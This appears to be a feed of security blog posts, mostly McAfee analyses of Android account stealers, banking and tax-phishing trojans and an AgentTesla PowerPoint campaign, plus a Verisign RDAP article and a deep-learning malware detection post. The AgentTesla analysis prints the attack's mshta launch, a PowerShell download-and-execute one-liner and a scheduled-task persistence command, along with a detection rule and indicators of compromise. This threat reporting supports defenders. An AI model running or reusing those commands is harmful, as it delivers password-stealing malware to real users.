McAfee Mobile Research team recently discovered a new piece of malware that specifically steals Google, Facebook, Twitter, Telegram and PUBG game accounts. This malware hides in a game assistant tool called “DesiEsp” which is an assistant tool for PUBG game available on GitHub. Basically, cyber criminals added their own malicious code based on this DesiEsp open-source tool and published it on Telegram. PUBG game users are the main targets of this Android malware in all regions around the world but most infections are reported from the United States, India, and Saudi Arabia.
ESP Hacks, (short for Extra-Sensory Perception) are a type of hack that displays player information such as HP (Health Points), Name, Rank, Gun etc. It is like a permanent tuned-up KDR/HP Vision. ESP Hacks are not a single hack, but a whole category of hacks that function similarly and are often used together to make them more effective.
After investigation, it was found that this malware was spread in the channels related to PUBG game on the Telegram platform. Fortunately, this malware has not been found on Google Play.
This malware will ask the user to allow superuser permission after running:
If the user denies superuser request the malware will say that the application may not work:
When it gains root permission, it will start two malicious actions. First, it will steal accounts by accessing the system account database and application database.
Second, it will install an additional payload with package name “com.android.google.gsf.policy_sidecar_aps” using the “pm install” command. The payload package will be in the assets folder, and it will disguise the file name as “*.crt” or “*.mph”.
The dropped payload will not display icons and it does not operate directly on the screen of the user’s device. In the apps list of the system settings, it usually disguises the package name as something like “com.google.android.gsf” to make users think it is a system service of Google. It runs in the background in the way of Accessibility Service. Accessibility Service is an auxiliary function provided by the Android system to help people with physical disabilities use mobile apps. It will connect to other apps like a plug-in and can it access the Activity, View, and other resources of the connected app.
The malware will first try to get root permissions and IMEI (International Mobile Equipment Identity) code that later access the system account database. Of course, even if it does not have root access, it still has other ways to steal account information. Finally, it also will try to activate the device-admin to difficult its removal.
The first method to steal account credentials that this malware uses is to monitor the login window and account input box text of the stolen app through the AccessibilityService interface to steal account information. The target apps include Facebook (com.facebook.kakana), Twitter (com.twitter.android), Google (com.google.android.gms) and PUBG MOBILE game (com.tencent.ig)
The second method is to steal account information (including account number, password, key, and token) by accessing the account database of the system, the user config file, and the database of the monitored app. This part of the malicious code is the same as the parent sample above:
Finally, the malware will report the stolen account information to the hacker’s server via HTTP.
PUBG games are popular all over the world, and users who use PUBG game assistant tools exist in all regions of the world. According to McAfee telemetry data, this malware and its variants affect a wide range of countries including the United States, India, and Saudi Arabia:
The online game market is revitalizing as represented by e-sports. We can play games anywhere in various environments such as mobiles, tablets, and PCs (personal computers). Some users will be looking for cheat tools and hacking techniques to play the game in a slightly advantageous way. Cheat tools are inevitably hosted on suspicious websites by their nature, and users looking for cheat tools must step into the suspicious websites. Attackers are also aware of the desires of such users and use these cheat tools to attack them.
This malware is still constantly producing variants that use several ways to counter the detection of anti-virus software including packing, code obfuscation, and strings encryption, allowing itself to infect more game users.
McAfee Mobile Security detects this threat as Android/Stealer and protects you from this malware attack. Use security software on your device. Game users should think twice before downloading and installing cheat tools, especially when they request Superuser or accessibility service permissions.
36d9e580c02a196e017410a6763f342eea745463cefd6f4f82317aeff2b7e1a5
fac1048fc80e88ff576ee829c2b05ff3420d6435280e0d6839f4e957c3fa3679
d054364014188016cf1fa8d4680f5c531e229c11acac04613769aa4384e2174b
3378e2dbbf3346e547dce4c043ee53dc956a3c07e895452f7e757445968e12ef
7e0ee9fdcad23051f048c0d0b57b661d58b59313f62c568aa472e70f68801417
6b14f00f258487851580e18704b5036e9d773358e75d01932ea9f63eb3d93973
706e57fb4b1e65beeb8d5d6fddc730e97054d74a52f70f57da36eda015dc8548
ff186c0272202954def9989048e1956f6ade88eb76d0dc32a103f00ebfd8538e
706e57fb4b1e65beeb8d5d6fddc730e97054d74a52f70f57da36eda015dc8548
3726dc9b457233f195f6ec677d8bc83531e8bc4a7976c5f7bb9b2cfdf597e86c
e815b1da7052669a7a82f50fabdeaece2b73dd7043e78d9850c0c7e95cc0013d
8ef54eb7e1e81b7c5d1844f9e4c1ba8baf697c9f17f50bfa5bcc608382d43778
4e08e407c69ee472e9733bf908c438dbdaebc22895b70d33d55c4062fc018e26
6e7c48909b49c872a990b9a3a1d5235d81da7894bd21bc18caf791c3cb571b1c
9099908a1a45640555e70d4088ea95e81d72184bdaf6508266d0a83914cc2f06
ca29a2236370ed9979dc325ea4567a8b97b0ff98f7f56ea2e82a346182dfa3b8
d2985d3e613984b9b1cba038c6852810524d11dddab646a52bf7a0f6444a9845
ef69d1b0a4065a7d2cc050020b349f4ca03d3d365a47be70646fd3b6f9452bf6
06984d4249e3e6b82bfbd7da260251d99e9b5e6d293ecdc32fe47dd1cd840654
hosting-b5476[.]gq
The post Social Network Account Stealers Hidden in Android Gaming Hacking Tool appeared first on McAfee Blog.
Authored by Anuradha M
McAfee Labs have observed a new phishing campaign that utilizes macro capabilities available in Microsoft PowerPoint. In this campaign, the spam email comes with a PowerPoint file as an attachment. Upon opening the malicious attachment, the VBA macro executes to deliver variants of AgentTesla which is a well-known password stealer. These spam emails purport to be related to financial transactions.
AgentTesla is a RAT (Remote Access Trojan) malware that has been active since 2014. Attackers use this RAT as MASS(Malware-As-A-Service) to steal user credentials and other information from victims through screenshots, keylogging, and clipboard captures. Its modus operandi is predominantly via phishing campaigns.
During Q2, 2021, we have seen an increase in PowerPoint malware.
In this campaign, the spam email contains an attached file with a .ppam extension which is a PowerPoint file containing VBA code. The sentiment used was finance-related themes such as: “New PO300093 Order” as shown in Figure 2. The attachment filename is “300093.pdf.ppam”.
PPAM file:
This file type was introduced in 2007 with the release of Microsoft Office 2007. It is a PowerPoint macro-enabled Open XML add-in file. It contains components that add additional functionality, including extra commands, custom macros, and new tools for extending default PowerPoint functions.
Since PowerPoint supports ‘add-ins’ developed by third parties to add new features, attackers abuse this feature to automatically execute macros.
Technical Analysis:
Once the victim opens the “.ppam” file, a security notice warning pop-up as shown in Figure 3 to alert the user about the presence of macro.
From Figure 4, you can see that the Add-in feature of the PowerPoint can be identified from the content of [Content_Types].xml file which will be present inside the ppam file.
The PPAM file contains the following files and directories which can be seen upon extraction.
Once the victim enables the macro, the add-in gets installed silently without user knowledge, which can be seen in Figure 5. On seeing that there is no content and no slide in the PowerPoint, the user will close the file but, in the backend, macro code gets executed to initiate the malicious activity.
As you can see in Figure 6, the macro is executed within the add-in auto_open() event i.e.., macro is fired immediately after the presentation is opened and the add-in is loaded.
The PowerPoint macro code on execution launches an URL by invoking mshta.exe (Microsoft HTML Application) which is shown in Figure 7. The mshta process is launched by Powerpoint by calling the CreateProcessA() API.
Below are the parameters passed to CreateProcessA() API:
kernel32.CreateProcessA(00000000,mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh,00000000,00000000,00000001,00000020,00000000,00000000,D,
Below is the command line parameter of mshta:
mshta hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh
The URL hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh is redirected to “hxxps://p8hj[.]blogspot[.]com/p/27.html” but it didn’t get any response from “27.html” at the time of analysis.
Later mshta.exe spawns powershell.exe as a child process.
Below is the command line parameters of PowerShell:
powershell.exe - ”C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe” i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt‘) -useB);i’E’x(iwr(‘hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt‘) -useB);
PowerShell downloads and executed script files from the above-mentioned URLs.
The below Figure 8 shows the content of the first url – “hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt”:
There are two binary files stored in two huge arrays inside each downloaded PowerShell file. The first file is an EXE file that acts as a loader and the second file is a DLL file, which is a variant of AgentTesla. PowerShell fetches the AgentTesla payload from the URLs mentioned in the command line, decodes it, and launches MSBuild.exe to inject the payload within itself.
Schedule Tasks:
To achieve persistence, it creates a scheduled task in “Task Scheduler” and drops a task file under C:\windows\system32\SECOTAKSA to make the entire campaign work effectively.
The new task name is “SECOTAKSA”. Its action is to execute the command “mshta hxxp:// //1230948%1230948@0v2x.blogspot.com/p/27.html” and it’s called every 80 minutes.
Below is the command line parameters of schtasks:
schtasks.exe - “C:\Windows\System32\schtasks.exe” /create /sc MINUTE /mo 80 /tn “”SECOTAKSA”” /F /tr “”\””MsHtA””\””hxxp://1230948%1230948@0v2x.blogspot.com/p/27.html\“”
Infection Chain:
Process Tree:
Mitigation:
McAfee’s Endpoint Security (ENS) and Windows Systems Security (WSS) product have DAT coverage for this variant of malware.
This malicious PPAM document with SHA256: fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182 is detected as “W97M/Downloader.dkw”.
The PPAM document is also blocked by the AMSI feature in ENS as AMSI-FKN!
Additionally, the Exploit Prevention feature in McAfee’s Endpoint Security product blocks the infection chain of this malware by adding the below expert rule so as to protect our customers from this malicious attack.
Expert Rule authored based on the below infection chain:
POWERPNT.EXE –> mshta.exe
Expert Rule:
Rule {
Process {
Include OBJECT_NAME { -v “powerpnt.exe” }
}
Target {
Match PROCESS {
Include OBJECT_NAME { -v “mshta.exe” }
Include PROCESS_CMD_LINE { -v “**http**” }
Include -access “CREATE”
}
}
}
IOCs
URLs:
hxxps://www.bitly.com/asdhodwkodwkidwowdiahsidh
hxxp:// //1230948%1230948@0v2x.blogspot.com/p/27.html
hxxps://p8hj[.]blogspot[.]com/p/27.html
hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-1.txt
hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-2.txt
hxxps://ia801403.us.archive.org/23/items/150-Re-Crypted-25-June/27-3.txt
EML files:
72e910652ad2eb992c955382d8ad61020c0e527b1595619f9c48bf66cc7d15d3
0afd443dedda44cdd7bd4b91341bd87ab1be8d3911d0f1554f45bd7935d3a8d0
fd887fc4787178a97b39753896c556fff9291b6d8c859cdd75027d3611292253
38188d5876e17ea620bbc9a30a24a533515c8c2ea44de23261558bb4cad0f8cb
PPAM files:
fb594d96d2eaeb8817086ae8dcc7cc5bd1367f2362fc2194aea8e0802024b182
6c45bd6b729d85565948d4f4deb87c8668dcf2b26e3d995ebc1dae1c237b67c3
9df84ffcf27d5dea1c5178d03a2aa9c3fb829351e56aab9a062f03dbf23ed19b
ad9eeff86d7e596168d86e3189d87e63bbb8f56c85bc9d685f154100056593bd
c22313f7e12791be0e5f62e40724ed0d75352ada3227c4ae03a62d6d4a0efe2d
Extracted AgentTesla files:
71b878adf78da89dd9aa5a14592a5e5da50fcbfbc646f1131800d02f8d2d3e99
90674a2a4c31a65afc7dc986bae5da45342e2d6a20159c01587a8e0494c87371
The post Malicious PowerPoint Documents on the Rise appeared first on McAfee Blog.
This article originally appeared in The Domain Name Industry Brief (Volume 18, Issue 3)
Earlier this year, the Internet Engineering Task Force’s (IETF’s) Internet Engineering Steering Group (IESG) announced that several Proposed Standards related to the Registration Data Access Protocol (RDAP), including three that I co-authored, were being promoted to the prestigious designation of Internet Standard. Initially accepted as proposed standards six years ago, RFC 7480, RFC 7481, RFC 9082 and RFC 9083 now comprise the new Standard 95. RDAP allows users to access domain registration data and could one day replace its predecessor the WHOIS protocol. RDAP is designed to address some widely recognized deficiencies in the WHOIS protocol and can help improve the registration data chain of custody.
In the discussion that follows, I’ll look back at the registry data model, given the evolution from WHOIS to the RDAP protocol, and examine how the RDAP protocol can help improve upon the more traditional, WHOIS-based registry models.
In 1998, Network Solutions was responsible for providing both consumer-facing registrar and back-end registry functions for the legacy .com, .net and .org generic top-level domains (gTLDs). Network Solutions collected information from domain name registrants, used that information to process domain name registration requests, and published both collected data and data derived from processing registration requests (such as expiration dates and status values) in a public-facing directory service known as WHOIS.
From Network Solution’s perspective as the registry, the chain of custody for domain name registration data involved only two parties: the registrant (or their agent) and Network Solutions. With the introduction of a Shared Registration System (SRS) in 1999, multiple registrars began to compete for domain name registration business by using the registry services operated by Network Solutions. The introduction of additional registrars and the separation of registry and registrar functions added parties to the chain of custody of domain name registration data. Information flowed from the registrant, to the registrar, and then to the registry, typically crossing multiple networks and jurisdictions, as depicted in Figure 1.
Over time, new gTLDs and new registries came into existence, new WHOIS services (with different output formats) were launched, and countries adopted new laws and regulations focused on protecting the personal information associated with domain name registration data. As time progressed, it became clear that WHOIS lacked several needed features, such as:
The IETF made multiple attempts to add features to WHOIS to address some of these issues, but none of them were widely adopted. A possible replacement protocol known as the Internet Registry Information Service (IRIS) was standardized in 2005, but it was not widely adopted. Something else was needed, and the IETF went back to work to produce what became known as RDAP.
RDAP was specified in a series of five IETF Proposed Standard RFC documents, including the following, all of which were published in March 2015:
Only when RDAP was standardized did we start to see broad deployment of a possible WHOIS successor by domain name registries, domain name registrars and address registries.
The broad deployment of RDAP led to RFCs 7480 and 7481 becoming Internet Standard RFCs (part of Internet Standard 95) without modification in March 2021. As operators of registration data directory services implemented and deployed RDAP, they found places in the other specifications where minor corrections and clarifications were needed without changing the protocol itself. RFC 7482 was updated to become Internet Standard RFC 9082, which was published in June 2021. RFC 7483 was updated to become Internet Standard RFC 9083, which was also published in June 2021. All were added to Standard 95. As of the writing of this article, RFC 7484 is in the process of being reviewed and updated for elevation to Internet Standard status.
Operators of registration data directory services who implemented RDAP can take advantage of key features not available in the WHOIS protocol. I’ve highlighted some of these important features in the table below.
| RDAP Feature | Benefit |
| Standard, well-understood, and widely available HTTP transport | Relatively easy to implement, deploy and operate using common web service tools, infrastructure and applications. |
| Securable via HTTPS | Helps provide confidentiality for RDAP queries and responses, reducing the amount of information that is disclosed to monitors. |
| Structured output in JavaScript Object Notation (JSON) | JSON is well-understood and tool friendly, which makes it easier for clients to parse and format responses from all servers without the need for software that’s customized for different service providers. |
| Easily extensible | Designed to support the addition of new features without breaking existing implementations. This makes it easier to address future function needs with less risk of implementation incompatibility. |
| Internationalized output, with full support for Unicode character sets | Allows implementations to provide human-readable inputs and outputs that are represented in a language appropriate to the local operating environment. |
| Referral capability, leveraging HTTP constructs | Provides information to software clients that allow the client to retrieve additional information from other RDAP servers. This can be used to hide complexity from human users. |
| Support of standardized authentication | RDAP can take full advantage of all of the client identification, authentication and authorization methods that are available to web services. This means that RDAP can be used to provide the basic framework for differentiated access to registration data based on attributes associated with the user and the user’s query. |
Verisign’s RDAP service, which was originally launched as an experimental implementation several years before gaining widespread adoption, allows users to look up records in the registry database for all registered .com, .net, .name, .cc and .tv domain names. It also supports Internationalized Domain Names (IDNs).
We at Verisign were pleased not only to see the IETF recognize the importance of RDAP by elevating it to an Internet Standard, but also that the protocol became a requirement for ICANN-accredited registrars and registries as of August 2019. Widespread implementation of the RDAP protocol makes registration data more secure, stable and resilient, and we are hopeful that the community will evolve the prescribed implementation of RDAP such that the full power of this rich protocol will be deployed.
You can learn more in the RDAP Help section of the Verisign website, and access helpful documents such as the RDAP technical implementation guide and the RDAP response profile.
The post Industry Insights: RDAP Becomes Internet Standard appeared first on Verisign Blog.
Authored by Fernando Ruiz
McAfee Mobile Malware Research Team has identified malware targeting Mexico. It poses as a security banking tool or as a bank application designed to report an out-of-service ATM. In both instances, the malware relies on the sense of urgency created by tools designed to prevent fraud to encourage targets to use them. This malware can steal authentication factors crucial to accessing accounts from their victims on the targeted financial institutions in Mexico.
McAfee Mobile Security is identifying this threat as Android/Banker.BT along with its variants.
The malware is distributed by a malicious phishing page that provides actual banking security tips (copied from the original bank site) and recommends downloading the malicious apps as a security tool or as an app to report out-of-service ATM. It’s very likely that a smishing campaign is associated with this threat as part of the distribution method or it’s also possible that victims may be contacted directly by scam phone calls made by the criminals, a common occurrence in Latin America. Fortunately, this threat has not been identified on Google Play yet.
During the pandemic, banks adopted new ways to interact with their clients. These rapid changes meant customers were more willing to accept new procedures and to install new apps as part of the ‘new normal’ to interact remotely. Seeing this, cyber-criminals introduced new scams and phishing attacks that looked more credible than those in the past leaving customers more susceptible.
Fortunately, McAfee Mobile Security is able to detect this new threat as Android/Banker.BT. To protect yourself from this and similar threats:
Interested in the details? Here’s a deep dive on this malware
Once the malicious app is installed and started, the first activity shows a message in Spanish that explains the fake purpose of the app:
– Fake Tool to report fraudulent movements that creates a sense of urgency:
“The ‘bank name has created a tool to allow you to block any suspicious movement. All operations listed on the app are still pending. If you fail to block the unrecognized movements in less than 24 hours, then they will charge your account automatically.
At the end of the blocking process, you will receive an SMS message with the details of the blocked operations.”
– In the case of the Fake ATM failure tool to request a new credit card under the pandemic context, there is a similar text that lures users into a false sense of security:
“As a Covid-19 sanitary measure, this new option has been created. You will receive an ID via SMS for your report and then you can request your new card at any branch or receive it at your registered home address for free. Alert! We will never request your sensitive data such as NIP or CVV.”This gives credibility to the app since it’s saying it will not ask for some sensitive data; however, it will ask for web banking credentials.
If the victims tap on “Ingresar” (“access”) then the banking trojan asks for SMS permissions and launch activity to enter the user id or account number and then the password. In the background, the password or ‘clave’ is transmitted to the criminal’s server without verifying if the provided credentials are valid or being redirected to the original bank site as many others banking trojan does.
Finally, a fixed fake list of transactions is displayed so the user can take the action of blocking them as part of the scam however at this point the crooks already have the victim’s login data and access to their device SMS messages so they are capable to steal the second authentication factor.
In case of the fake tool app to request a new card, the app shows a message that says at the end “We have created this Covid-19 sanitary measure and we invite you to visit our anti-fraud tips where you will learn how to protect your account”.
In the background the malware contacts the command-and-control server that is hosted in the same domain used for distribution and it sends the user credentials and all users SMS messages over HTTPS as query parameters (as part of the URL) which can lead to the sensitive data to be stored in web server logs and not only the final attacker destination. Usually, malware of this type has poor handling of the stolen data, therefore, it’s not surprising if this information is leaked or compromised by other criminal groups which makes this type of threat even riskier for the victims. Actually, in figure 8 there is a partial screenshot of an exposed page that contains the structure to display the stolen data.
Table Headers: Date, From, Body Message, User, Password, Id:
This mobile banker is interesting due it’s a scam developed from scratch that is not linked to well-known and more powerful banking trojan frameworks that are commercialized in the black market between cyber-criminals. This is clearly a local development that may evolve in the future in a more serious threat since the decompiled code shows accessibility services class is present but not implemented which leads to thinking that the malware authors are trying to emulate the malicious behavior of more mature malware families. From the self-evasion perspective, the malware does not offer any technique to avoid analysis, detection, or decompiling that is signal it’s in an early stage of development.
SHA256:
The post Android malware distributed in Mexico uses Covid-19 to steal financial credentials appeared first on McAfee Blog.
Authored by ChanUng Pak
McAfee’s Mobile Research team recently found a new Android malware, Elibomi, targeting taxpayers in India. The malware steals sensitive financial and private information via phishing by pretending to be a tax-filing application. We have identified two main campaigns that used different fake app themes to lure in taxpayers. The first campaign from November 2020 pretended to be a fake IT certificate application while the second campaign, first seen in May 2021, used the fake tax-filing theme. With this discovery, the McAfee Mobile Research team has been able to update McAfee Mobile Security so that it detects this threat as Android/Elibomi and alerts mobile users if this malware is present in their devices.
During our investigation, we found that in the latest campaign the malware is delivered using an SMS text phishing attack. The SMS message pretends to be from the Income Tax Department in India and uses the name of the targeted user to make the SMS phishing attack more credible and increase the chances of infecting the device. The fake app used in this campaign is designed to capture and steal the victim’s sensitive personal and financial information by tricking the user into believing that it is a legitimate tax-filing app.
We also found that Elibomi exposes the stolen sensitive information to anyone on the Internet. The stolen data includes e-mail addresses, phone numbers, SMS/MMS messages among other financial and personal identifiable information. McAfee has reported the servers exposing the data and at the time of publication of this blog the exposed information is no longer available.
The latest and most recent Elibomi campaign uses a fake tax-filing app theme and pretends to be from the Income Tax Department from the Indian government. They even use the original logo to trick the users into installing the app. The package names (unique app identifiers) of these fake apps consist of a random word + another random string + imobile (e.g. “direct.uujgiq.imobile” and “olayan.aznohomqlq.imobile”). As mentioned before this campaign has been active since at least May 2021.
Figure 1. Fake iMobile app pretending to be from the Income Tax Department and asking SMS permissions
After all the required permissions are granted, Elibomi attempts to collect personal information like e-mail address, phone number and SMS/MMS messages stored in the infected device:
Figure 2. Elibomi stealing SMS messages
Here are our recommendations to avoid being affected by this and other Android threats that use social engineering to convince users to install malware disguised as legitimate apps:
Android/Elibomi is just another example of the effectiveness of personalized phishing attacks to trick users into installing a malicious application even when Android itself prevents that from happening. By pretending to be an “Income Tax” app from the Indian government, Android/Elibomi has been able to gather very sensitive and private personal and financial information from affected users which could be used to perform identify and/or financial fraud. Even more worryingly, the information was not only in cybercriminals’ hands, but it was also unexpectedly exposed on the Internet which could have a greater impact on the victims. As long as social engineering attacks remain effective, we expect that cybercriminals will continue to evolve their campaigns to trick even more users with different fake apps including ones related to financial and tax services.
McAfee Mobile Security detects this threat as Android/Elibomi and alerts mobile users if it is present. For more information about McAfee Mobile Security, visit https://www.mcafeemobilesecurity.com
For those interested in a deeper dive into our research…
During our investigation, we found the main distribution method of the latest campaign in one of the stolen SMS messages exposed in one of the C2 servers. The SMS body field in the screenshot below shows the Smishing attack used to deliver the malware. Interestingly, the message includes the victim’s name in order to make the message more personal and therefore more credible. It also urges the user to click on a suspicious link with the excuse of checking an urgent update regarding the victim’s Income Tax return:
Figure 3. Exposed information includes the SMS phishing attack used to originally deliver the malware
Elibomi not only exposes stolen SMS messages, but it also captures and exposes the list of all accounts logged in the infected devices:
Figure 4. Example of account information exposed in one of the C2 servers
If the targeted user clicks on the link in the text message, a phishing page will be shown pretending to be from the Income Tax Department from the Indian government which addresses the user by its name to make the phishing attack more credible:
Figure 5. Fake e-Filing phishing page pretending to be from the Income Tax Department in India
Each targeted user has a different application. For example in the screenshot below we have the app “cisco.uemoveqlg.imobile” on the left and “komatsu.mjeqls.imobile” on the right:
Figure 6. Different malicious applications for different users
During our investigation, we found that there are several variants of Elibomi for the same iMobile fake Income tax app. For example, some iMobile apps only have the login page while in others have the option to “register” and request a fake tax refund:
Figure 7. Fake iMobile screens designed to capture personal and financial information
The sensitive financial information provided by the tricked user is also exposed on the Internet:
Figure 8. Example of exposed financial information stolen by Elibomi using a fake tax filling app
The first Elibomi campaign pretended to be a fake “IT Certificate” app was found to be distributed in November 2020. In the following figure we can see the similarities in the code between the two malware campaigns:
Figure 9. Code similarity between Elibomi campaigns
The malicious application impersonated an IT certificate management module that is purposedly used to validate the device in a non-existent verification server. Just like the most recent version of Elibomi, this fake ITCertificate app requests SMS permissions but it also requests device administrator privileges, probably to make more difficult its removal. The malicious application also simulates a “Security Scan” but in reality what it is doing in the background is stealing personal information like e-mail, phone number and SMS/MMS messages stored in the infected device:
Figure 10. Fake ITCertificate app pretending to do a security scan while it steals personal data in the background
Just like with the most recent “iMobile” campaign, this fake “ITCertificate” also exposes the stolen data in one of the C2 servers. Here’s an example of a stolen SMS message that uses the same log fields and structure as the “iMobile” campaign:
Figure 11. SMS message is stolen by the fake “ITCertificate” using the same log structure as “iMobile”
The cybercriminals behind these two pieces of malware designed a simple but interesting string obfuscation technique. All strings are decoded by calling different classes and each class has a completely different table value
Figure 12. Calling the de-obfuscation method with different parameters
Figure 13. String de-obfuscation method
Figure 14. String de-obfuscation table
The algorithm is a simple substitution cipher. For example, 35 is replaced with ‘h’ and 80 is replaced with ‘t’ to obfuscate the string.
| Hash | Package name | ||
| 1e8fba3c530c3cd7d72e208e25fbf704ad7699c0a6728ab1b290c645995ddd56 | direct.uujgiq.imobile | ||
| 7f7b0555563e08e0763fe52f1790c86033dab8004aa540903782957d0116b87f |
ferrero.uabxzraglk.imobile
|
||
| 120a51611a02d1d8bd404bb426e07959ef79e808f1a55ce5bff33f04de1784ac |
erni.zbvbqlk.imobile
|
||
| ecbd905c44b1519590df5465ea8acee9d3c155334b497fd86f6599b1c16345ef |
olayan.bxynrqlq.imobile
|
||
| da900a00150fcd608a09dab8a8ccdcf33e9efc089269f9e0e6b3daadb9126231 | foundation.aznohomqlq.imobile | ||
| 795425dfc701463f1b55da0fa4e7c9bb714f99fecf7b7cdb6f91303e50d1efc0 | fresenius.bowqpd.immobile | ||
| b41c9f27c49386e61d87e7fc429b930f5e01038d17ff3840d7a3598292c935d7 | cisco.uemoveqlg.immobile | ||
| 8de8c8c95fecd0b1d7b1f352cbaf839cba1c3b847997c804dfa2d5e3c0c87dfe | komatsu.mjeqls.imobile | ||
| ecbd905c44b1519590df5465ea8acee9d3c155334b497fd86f6599b1c16345ef | olayan.bxynrqlq.imobile | ||
| 326d81ba7a715a57ba7aa2398824b420fff84cda85c0dd143462300af4e0a37a | alstom.zjeubopqf.certificate | ||
| 154cfd0dbb7eb2a4f4e5193849d314fa70dcc3caebfb9ab11b4ee26e98cb08f7 | alstom.zjeubopqf.certificate | ||
| c59ecd344729dac99d9402609e248c80e10d39c4d4d712edef0df9ee460fbd7b | alstom.zjeubopqf.certificate | ||
| 16284cad1b5a36e2d2ea9f67f5c772af01b64d785f181fd31d2e2bec2d98ce98 | alstom.zjeubopqf.certificate | ||
| 98fc0d5f914ae47b61bc7b54986295d86b502a9264d7f74739ca452fac65a179 | alstom.zjeubopqf.certificate | ||
|
32724a3d2a3543cc982c7632f40f9e831b16d3f88025348d9eda0d2dfbb75dfe
|
computer.yvyjmbtlk.transferInstant | ||
The post Phishing Android Malware Targets Taxpayers in India appeared first on McAfee Blog.
Co-written by Catherine Huang, Ph.D. and Abhishek Karnik
Artificial Intelligence (AI) continues to evolve and has made huge progress over the last decade. AI shapes our daily lives. Deep learning is a subset of techniques in AI that extract patterns from data using neural networks. Deep learning has been applied to image segmentation, protein structure, machine translation, speech recognition and robotics. It has outperformed human champions in the game of Go. In recent years, deep learning has been applied to malware analysis. Different types of deep learning algorithms, such as convolutional neural networks (CNN), recurrent neural networks and Feed-Forward networks, have been applied to a variety of use cases in malware analysis using bytes sequence, gray-scale image, structural entropy, API call sequence, HTTP traffic and network behavior.
Most traditional machine learning malware classification and detection approaches rely on handcrafted features. These features are selected based on experts with domain knowledge. Feature engineering can be a very time-consuming process, and handcrafted features may not generalize well to novel malware. In this blog, we briefly describe how we apply CNN on raw bytes for malware detection and classification in real-world data.
The motivation for applying deep learning is to identify new patterns in raw bytes. The novelty of this work is threefold. First, there is no domain-specific feature extraction and pre-processing. Second, it is an end-to-end deep learning approach. It can also perform end-to-end classification. And it can be a feature extractor for feature augmentation. Third, the explainable AI (XAI) provides insights on the CNN decisions and help human identify interesting patterns across malware families. As shown in Figure 1, the input is only raw bytes and labels. CNN performs representation learning to automatically learn features and classify malware.
For the purposes of our experiments with malware detection, we first gathered 833,000 distinct binary samples (Dirty and Clean) across multiple families, compilers and varying “first-seen” time periods. There were large groups of samples from common families although they did utilize varying packers, obfuscators. Sanity checks were performed to discard samples that were corrupt, too large or too small, based on our experiment. From samples that met our sanity check criteria, we extracted raw bytes from these samples and utilized them for conducting multiple experiments. The data was randomly divided into a training and a test set with an 80% / 20% split. We utilized this data set to run the three experiments.
In our first experiment, raw bytes from the 833,000 samples were fed to the CNN and the performance accuracy in terms of area under receiver operating curve (ROC) was 0.9953.
One observation with the initial run was that, after raw byte extraction from the 833,000 unique samples, we did find duplicate raw byte entries. This was primarily due to malware families that utilized hash-busting as an approach to polymorphism. Therefore, in our second experiment, we deduplicated the extracted raw byte entries. This reduced the raw byte input vector count to 262,000 samples. The test area under ROC was 0.9920.
In our third experiment, we attempted multi-family malware classification. We took a subset of 130,000 samples from the original set and labeled 11 categories – the 0th were bucketed as Clean, 1-9 of which were malware families, and the 10th were bucketed as Others. Again, these 11 buckets contain samples with varying packers and compilers. We performed another 80 / 20% random split for the training set and test set. For this experiment, we achieved a test accuracy of 0.9700. The training and test time on one GPU was 26 minutes.
To understand the CNN training process, we performed a visual analysis for the CNN training. Figure 2 shows the t-Distributed Stochastic Neighbor Embedding (t-SNE) and Principal Component Analysis (PCA) for before and after CNN training. We can see that after training, CNN is able to extract useful representations to capture characteristics of different types of malware as shown in different clusters. There was a good separation for most categories, lending us to believe that the algorithm was useful as a multi-class classifier.
We then performed XAI to understand CNN’s decisions. Figure 3 shows XAI heatmaps for one sample of Fareit and one sample of Emotet. The brighter the color is the more important the bytes contributing to the gradient activation in neural networks. Thus, those bytes are important to CNN’s decisions. We were interested in understanding the bytes that weighed in heavily on the decision-making and reviewed some samples manually.
To verify if the CNN can learn new patterns, we fed a few never before seen samples to the CNN, and requested a human expert to verify the CNN’s decision on some random samples. The human analysis verified that the CNN was able to correctly identify many malware families. In some cases, it identified samples accurately before the top 15 AV vendors based on our internal tests. Figure 4 shows a subset of samples that belong to the Nabucur family that were correctly categorized by the CNN despite having no vendor detection at that point in time. It’s also interesting to note that our results showed that the CNN was able to currently categorize malware samples across families utilizing common packers into an accurate family bucket.
We ran domain analysis on the same sample complier VB files. As shown in Figure 5, CNN was able to identify two samples of a threat family before other vendors. CNN agreed with MSMP/other vendors on two samples. In this experiment, the CNN incorrectly identified one sample as Clean.
We asked a human expert to inspect an XAI heatmap and verify if those bytes in bright color are associated with the malware family classification. Figure 6 shows one sample which belongs to the Sodinokibi family. The bytes identified by the XAI (c3 8b 4d 08 03 d1 66 c1) are interesting because the byte sequence belongs to part of the Tea decryption algorithm. This indicates these bytes are associated with the malware classification, which confirms the CNN can learn and help identify useful patterns which humans or other automation may have overlooked. Although these experiments were rudimentary, they were indicative of the effectiveness of the CNN in identifying unknown patterns of interest.
In summary, the experimental results and visual explanations demonstrate that CNN can automatically learn PE raw byte representations. CNN raw byte model can perform end-to-end malware classification. CNN can be a feature extractor for feature augmentation. The CNN raw byte model has the potential to identify threat families before other vendors and identify novel threats. These initial results indicate that CNN’s can be a very useful tool to assist automation and human researcher in analysis and classification. Although we still need to conduct a broader range of experiments, it is encouraging to know that our findings can already be applied for early threat triage, identification, and categorization which can be very useful for threat prioritization.
We believe that McAfee’s ongoing AI research, such as deep learning-based approaches, leads the security industry to tackle the evolving threat landscape, and we look forward to continuing to share our findings in this space with the security community.
The post The Rise of Deep Learning for Detection and Classification of Malware appeared first on McAfee Blog.
Written by: Lakshya Mathur
